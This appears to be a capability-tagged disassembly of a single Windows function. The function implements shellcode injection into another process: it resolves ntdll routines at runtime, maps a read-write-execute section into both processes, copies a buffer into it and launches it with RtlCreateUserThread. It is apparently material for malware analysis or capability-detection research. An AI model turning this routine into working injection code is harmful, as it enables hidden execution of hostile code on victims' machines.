Function at 0x40167b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push rbp
push rbx
sub rsp, 0x258
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1f0], ecx
mov qword [rbp + 0x1f8], rdx
call fcn.0040b240
lea rax, [rbp + 0x50]
lea rdx, [0x004a0078]
mov ecx, 0x13a
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov qword [rbp + 0x48], 0x1000
mov qword [rbp + 0x40], 0
mov rax, qword [rbp + 0x48]
mov dword [rbp + 0x40], eax
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x20], 0
mov rax, qword [rbp + 0x1f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call fcn.004015a4
mov dword [rbp + 0x1cc], eax
mov dword [rbp - 0x10], 0x30
mov qword [rbp - 8], 0
mov dword [rbp + 8], 0
mov qword [rbp], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov eax, dword [rbp + 0x1cc]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0
lea rcx, str.ntdll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
lea rdx, str.NtOpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1c0]
lea rdx, str.NtCreateSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1c0]
lea rdx, str.NtMapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1c0]
lea rdx, str.RtlCreateUserThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1c0]
lea rdx, str.ZwUnmapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x198], rax
lea rdx, [rbp + 0x40]
lea rax, [rbp + 0x38]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
mov r10, qword [rbp + 0x1b0]
mov r9, rdx
mov r8d, 0
mov edx, 0xe
mov rcx, rax
call r10
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov r10, rax
mov rcx, qword [rbp + 0x38]
lea rdx, [rbp + 0x30]
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rbp + 0x48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x1a8]
mov r9d, 0
mov r8, rdx
mov rdx, r10
call rax
mov qword [rbp - 0x28], 0
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x28]
mov r10, qword [rbp + 0x1b8]
mov r9, rcx
mov r8, rdx
mov edx, 0x1f0fff
mov rcx, rax
call r10
mov rax, qword [rbp - 0x28]
test rax, rax
jne 0x4018eb
lea rcx, str.failed_to_open_process_n
call fcn.00401550
mov eax, 0xfffffffe
jmp 0x401a20
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp + 0x38]
lea r8, [rbp + 0x28]
mov dword [rsp + 0x48], 0x20
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rbp + 0x48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x1a8]
mov r9d, 0
call rax
mov rax, qword [rbp + 0x30]
mov rcx, rax
lea rax, [rbp + 0x50]
mov edx, 0x13a
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp - 0x28]
mov qword [rsp + 0x48], 0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x1a0]
mov r9d, 0
mov r8d, 0
mov edx, 0
call rax
mov rax, qword [rbp + 0x20]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x4019ce
mov eax, 0xfffffffe
jmp 0x401a20
mov rbx, qword [rbp + 0x30]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x198]
mov rdx, rbx
call rax
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rbp + 0x198]
call rax
mov rax, qword [rbp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x258
pop rbx
pop rbp
ret